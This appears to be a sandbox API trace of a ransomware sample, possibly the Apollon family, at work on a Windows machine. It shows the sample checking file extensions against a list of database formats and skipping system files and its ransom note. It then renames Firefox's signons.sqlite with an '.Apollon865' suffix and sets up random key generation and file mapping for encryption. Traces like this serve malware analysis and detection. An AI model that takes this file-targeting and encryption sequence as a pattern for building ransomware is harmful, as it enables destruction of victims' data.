	[0042.631] lstrcmpiW (lpString1="store.js", lpString2="sqlitedb") returned 1
	[0042.631] lstrlenW (lpString="xml") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0042.631] lstrlenW (lpString="$er") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0042.631] lstrlenW (lpString="4dd") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0042.631] lstrlenW (lpString="4dl") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0042.631] lstrlenW (lpString="^^^") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0042.631] lstrlenW (lpString="abs") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0042.631] lstrlenW (lpString="abx") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0042.631] lstrlenW (lpString="accdb") returned 5
	[0042.631] lstrcmpiW (lpString1="re.js", lpString2="accdb") returned 1
	[0042.631] lstrlenW (lpString="accdc") returned 5
	[0042.631] lstrcmpiW (lpString1="re.js", lpString2="accdc") returned 1
	[0042.631] lstrlenW (lpString="accde") returned 5
	[0042.631] lstrcmpiW (lpString1="re.js", lpString2="accde") returned 1
	[0042.632] lstrlenW (lpString="accdr") returned 5
	[0042.632] lstrcmpiW (lpString1="re.js", lpString2="accdr") returned 1
	[0042.632] lstrlenW (lpString="accdt") returned 5
	[0042.632] lstrcmpiW (lpString1="re.js", lpString2="accdt") returned 1
	[0042.632] lstrlenW (lpString="accdw") returned 5
	[0042.632] lstrcmpiW (lpString1="re.js", lpString2="accdw") returned 1
	[0042.632] lstrlenW (lpString="accft") returned 5
	[0042.632] lstrcmpiW (lpString1="re.js", lpString2="accft") returned 1
	[0042.632] lstrlenW (lpString="adb") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0042.632] lstrlenW (lpString="adb") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0042.632] lstrlenW (lpString="ade") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0042.632] lstrlenW (lpString="adf") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0042.632] lstrlenW (lpString="adn") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0042.632] lstrlenW (lpString="adp") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0042.632] lstrlenW (lpString="alf") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0042.632] lstrlenW (lpString="ask") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0042.632] lstrlenW (lpString="btr") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0042.632] lstrlenW (lpString="cat") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0042.632] lstrlenW (lpString="cdb") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0042.632] lstrlenW (lpString="ckp") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0042.632] lstrlenW (lpString="cma") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0042.632] lstrlenW (lpString="cpd") returned 3
	[0042.632] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0042.632] lstrlenW (lpString="dacpac") returned 6
	[0042.632] lstrcmpiW (lpString1="ore.js", lpString2="dacpac") returned 1
	[0042.632] lstrlenW (lpString="dad") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0042.633] lstrlenW (lpString="dadiagrams") returned 10
	[0042.633] lstrcmpiW (lpString1="onstore.js", lpString2="dadiagrams") returned 1
	[0042.633] lstrlenW (lpString="daschema") returned 8
	[0042.633] lstrcmpiW (lpString1="store.js", lpString2="daschema") returned 1
	[0042.633] lstrlenW (lpString="db-journal") returned 10
	[0042.633] lstrcmpiW (lpString1="onstore.js", lpString2="db-journal") returned 1
	[0042.633] lstrlenW (lpString="db-shm") returned 6
	[0042.633] lstrcmpiW (lpString1="ore.js", lpString2="db-shm") returned 1
	[0042.633] lstrlenW (lpString="db-wal") returned 6
	[0042.633] lstrcmpiW (lpString1="ore.js", lpString2="db-wal") returned 1
	[0042.633] lstrlenW (lpString="dbc") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0042.633] lstrlenW (lpString="dbs") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0042.633] lstrlenW (lpString="dbt") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0042.633] lstrlenW (lpString="dbv") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0042.633] lstrlenW (lpString="dbx") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0042.633] lstrlenW (lpString="dcb") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0042.633] lstrlenW (lpString="dct") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0042.633] lstrlenW (lpString="dcx") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0042.633] lstrlenW (lpString="ddl") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0042.633] lstrlenW (lpString="dlis") returned 4
	[0042.633] lstrcmpiW (lpString1="e.js", lpString2="dlis") returned 1
	[0042.633] lstrlenW (lpString="dp1") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0042.633] lstrlenW (lpString="dqy") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0042.633] lstrlenW (lpString="dsk") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0042.633] lstrlenW (lpString="dsn") returned 3
	[0042.633] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0042.634] lstrlenW (lpString="dtsx") returned 4
	[0042.634] lstrcmpiW (lpString1="e.js", lpString2="dtsx") returned 1
	[0042.634] lstrlenW (lpString="dxl") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0042.634] lstrlenW (lpString="eco") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0042.634] lstrlenW (lpString="ecx") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0042.634] lstrlenW (lpString="edb") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0042.634] lstrlenW (lpString="epim") returned 4
	[0042.634] lstrcmpiW (lpString1="e.js", lpString2="epim") returned -1
	[0042.634] lstrlenW (lpString="fcd") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0042.634] lstrlenW (lpString="fdb") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0042.634] lstrlenW (lpString="fic") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0042.634] lstrlenW (lpString="flexolibrary") returned 12
	[0042.634] lstrcmpiW (lpString1="sionstore.js", lpString2="flexolibrary") returned 1
	[0042.634] lstrlenW (lpString="fm5") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0042.634] lstrlenW (lpString="fmp") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0042.634] lstrlenW (lpString="fmp12") returned 5
	[0042.634] lstrcmpiW (lpString1="re.js", lpString2="fmp12") returned 1
	[0042.634] lstrlenW (lpString="fmpsl") returned 5
	[0042.634] lstrcmpiW (lpString1="re.js", lpString2="fmpsl") returned 1
	[0042.634] lstrlenW (lpString="fol") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0042.634] lstrlenW (lpString="fp3") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0042.634] lstrlenW (lpString="fp4") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0042.634] lstrlenW (lpString="fp5") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0042.634] lstrlenW (lpString="fp7") returned 3
	[0042.634] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0042.635] lstrlenW (lpString="fpt") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0042.635] lstrlenW (lpString="frm") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0042.635] lstrlenW (lpString="gdb") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0042.635] lstrlenW (lpString="gdb") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0042.635] lstrlenW (lpString="grdb") returned 4
	[0042.635] lstrcmpiW (lpString1="e.js", lpString2="grdb") returned -1
	[0042.635] lstrlenW (lpString="gwi") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0042.635] lstrlenW (lpString="hdb") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0042.635] lstrlenW (lpString="his") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0042.635] lstrlenW (lpString="ib") returned 2
	[0042.635] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0042.635] lstrlenW (lpString="idb") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0042.635] lstrlenW (lpString="ihx") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0042.635] lstrlenW (lpString="itdb") returned 4
	[0042.635] lstrcmpiW (lpString1="e.js", lpString2="itdb") returned -1
	[0042.635] lstrlenW (lpString="itw") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0042.635] lstrlenW (lpString="jet") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0042.635] lstrlenW (lpString="jtx") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0042.635] lstrlenW (lpString="kdb") returned 3
	[0042.635] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0042.635] lstrlenW (lpString="kexi") returned 4
	[0042.635] lstrcmpiW (lpString1="e.js", lpString2="kexi") returned -1
	[0042.635] lstrlenW (lpString="kexic") returned 5
	[0042.636] lstrcmpiW (lpString1="re.js", lpString2="kexic") returned 1
	[0042.636] lstrlenW (lpString="kexis") returned 5
	[0042.636] lstrcmpiW (lpString1="re.js", lpString2="kexis") returned 1
	[0042.636] lstrlenW (lpString="lgc") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0042.636] lstrlenW (lpString="lwx") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0042.636] lstrlenW (lpString="maf") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0042.636] lstrlenW (lpString="maq") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0042.636] lstrlenW (lpString="mar") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0042.636] lstrlenW (lpString="marshal") returned 7
	[0042.636] lstrcmpiW (lpString1="tore.js", lpString2="marshal") returned 1
	[0042.636] lstrlenW (lpString="mas") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0042.636] lstrlenW (lpString="mav") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0042.636] lstrlenW (lpString="maw") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0042.636] lstrlenW (lpString="mdbhtml") returned 7
	[0042.636] lstrcmpiW (lpString1="tore.js", lpString2="mdbhtml") returned 1
	[0042.636] lstrlenW (lpString="mdn") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0042.636] lstrlenW (lpString="mdt") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0042.636] lstrlenW (lpString="mfd") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0042.636] lstrlenW (lpString="mpd") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0042.636] lstrlenW (lpString="mrg") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0042.636] lstrlenW (lpString="mud") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0042.636] lstrlenW (lpString="mwb") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0042.636] lstrlenW (lpString="myd") returned 3
	[0042.636] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0042.636] lstrlenW (lpString="ndf") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0042.637] lstrlenW (lpString="nnt") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0042.637] lstrlenW (lpString="nrmlib") returned 6
	[0042.637] lstrcmpiW (lpString1="ore.js", lpString2="nrmlib") returned 1
	[0042.637] lstrlenW (lpString="ns2") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0042.637] lstrlenW (lpString="ns3") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0042.637] lstrlenW (lpString="ns4") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0042.637] lstrlenW (lpString="nsf") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0042.637] lstrlenW (lpString="nv") returned 2
	[0042.637] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0042.637] lstrlenW (lpString="nv2") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0042.637] lstrlenW (lpString="nwdb") returned 4
	[0042.637] lstrcmpiW (lpString1="e.js", lpString2="nwdb") returned -1
	[0042.637] lstrlenW (lpString="nyf") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0042.637] lstrlenW (lpString="odb") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0042.637] lstrlenW (lpString="odb") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0042.637] lstrlenW (lpString="oqy") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0042.637] lstrlenW (lpString="ora") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0042.637] lstrlenW (lpString="orx") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0042.637] lstrlenW (lpString="owc") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0042.637] lstrlenW (lpString="p96") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0042.637] lstrlenW (lpString="p97") returned 3
	[0042.637] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0042.637] lstrlenW (lpString="pan") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0042.638] lstrlenW (lpString="pdb") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0042.638] lstrlenW (lpString="pdm") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0042.638] lstrlenW (lpString="pnz") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0042.638] lstrlenW (lpString="qry") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0042.638] lstrlenW (lpString="qvd") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0042.638] lstrlenW (lpString="rbf") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0042.638] lstrlenW (lpString="rctd") returned 4
	[0042.638] lstrcmpiW (lpString1="e.js", lpString2="rctd") returned -1
	[0042.638] lstrlenW (lpString="rod") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0042.638] lstrlenW (lpString="rodx") returned 4
	[0042.638] lstrcmpiW (lpString1="e.js", lpString2="rodx") returned -1
	[0042.638] lstrlenW (lpString="rpd") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0042.638] lstrlenW (lpString="rsd") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0042.638] lstrlenW (lpString="sas7bdat") returned 8
	[0042.638] lstrcmpiW (lpString1="store.js", lpString2="sas7bdat") returned 1
	[0042.638] lstrlenW (lpString="sbf") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0042.638] lstrlenW (lpString="scx") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0042.638] lstrlenW (lpString="sdb") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0042.638] lstrlenW (lpString="sdc") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0042.638] lstrlenW (lpString="sdf") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0042.638] lstrlenW (lpString="sis") returned 3
	[0042.638] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0042.638] lstrlenW (lpString="spq") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0042.639] lstrlenW (lpString="te") returned 2
	[0042.639] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0042.639] lstrlenW (lpString="teacher") returned 7
	[0042.639] lstrcmpiW (lpString1="tore.js", lpString2="teacher") returned 1
	[0042.639] lstrlenW (lpString="tmd") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0042.639] lstrlenW (lpString="tps") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0042.639] lstrlenW (lpString="trc") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0042.639] lstrlenW (lpString="trc") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0042.639] lstrlenW (lpString="trm") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0042.639] lstrlenW (lpString="udb") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0042.639] lstrlenW (lpString="udl") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0042.639] lstrlenW (lpString="usr") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0042.639] lstrlenW (lpString="v12") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0042.639] lstrlenW (lpString="vis") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0042.639] lstrlenW (lpString="vpd") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0042.639] lstrlenW (lpString="vvv") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0042.639] lstrlenW (lpString="wdb") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0042.639] lstrlenW (lpString="wmdb") returned 4
	[0042.639] lstrcmpiW (lpString1="e.js", lpString2="wmdb") returned -1
	[0042.639] lstrlenW (lpString="wrk") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0042.639] lstrlenW (lpString="xdb") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0042.639] lstrlenW (lpString="xld") returned 3
	[0042.639] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0042.639] lstrlenW (lpString="xmlff") returned 5
	[0042.640] lstrcmpiW (lpString1="re.js", lpString2="xmlff") returned -1
	[0042.640] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6f36850, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x50000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="signons.sqlite", cAlternateFileName="SIGNON~1.SQL")) returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2=".") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="..") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="windows") returned -1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="bootmgr") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="temp") returned -1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="pagefile.sys") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="boot") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="ids.txt") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="ntuser.dat") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="perflogs") returned 1
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2="MSBuild") returned 1
	[0042.640] lstrlenW (lpString="signons.sqlite") returned 14
	[0042.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js") returned 103
	[0042.640] lstrcpyW (in: lpString1=0x2d3e600, lpString2="signons.sqlite" | out: lpString1="signons.sqlite") returned="signons.sqlite"
	[0042.640] lstrlenW (lpString="signons.sqlite") returned 14
	[0042.640] lstrlenW (lpString="Apollon865") returned 10
	[0042.640] lstrcmpiW (lpString1="ons.sqlite", lpString2="Apollon865") returned 1
	[0042.640] lstrlenW (lpString=".dll") returned 4
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2=".dll") returned 1
	[0042.640] lstrlenW (lpString=".lnk") returned 4
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2=".lnk") returned 1
	[0042.640] lstrlenW (lpString=".ini") returned 4
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2=".ini") returned 1
	[0042.640] lstrlenW (lpString=".sys") returned 4
	[0042.640] lstrcmpiW (lpString1="signons.sqlite", lpString2=".sys") returned 1
	[0042.640] lstrlenW (lpString="signons.sqlite") returned 14
	[0042.640] lstrlenW (lpString="bak") returned 3
	[0042.640] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0042.640] lstrlenW (lpString="ba_") returned 3
	[0042.640] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0042.640] lstrlenW (lpString="dbb") returned 3
	[0042.640] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0042.640] lstrlenW (lpString="vmdk") returned 4
	[0042.640] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0042.641] lstrlenW (lpString="rar") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0042.641] lstrlenW (lpString="zip") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0042.641] lstrlenW (lpString="tgz") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0042.641] lstrlenW (lpString="vbox") returned 4
	[0042.641] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0042.641] lstrlenW (lpString="vdi") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0042.641] lstrlenW (lpString="vhd") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0042.641] lstrlenW (lpString="vhdx") returned 4
	[0042.641] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0042.641] lstrlenW (lpString="avhd") returned 4
	[0042.641] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0042.641] lstrlenW (lpString="db") returned 2
	[0042.641] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0042.641] lstrlenW (lpString="db2") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0042.641] lstrlenW (lpString="db3") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0042.641] lstrlenW (lpString="dbf") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0042.641] lstrlenW (lpString="mdf") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0042.641] lstrlenW (lpString="mdb") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0042.641] lstrlenW (lpString="sql") returned 3
	[0042.641] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0042.641] lstrlenW (lpString="sqlite") returned 6
	[0042.641] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0042.641] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.Apollon865") returned 113
	[0042.641] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0042.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0042.644] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=327680) returned 1
	[0042.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0042.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0042.644] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0042.645] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0042.645] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.645] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50300, lpName=0x0) returned 0x150
	[0042.646] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50300) returned 0x4d0000
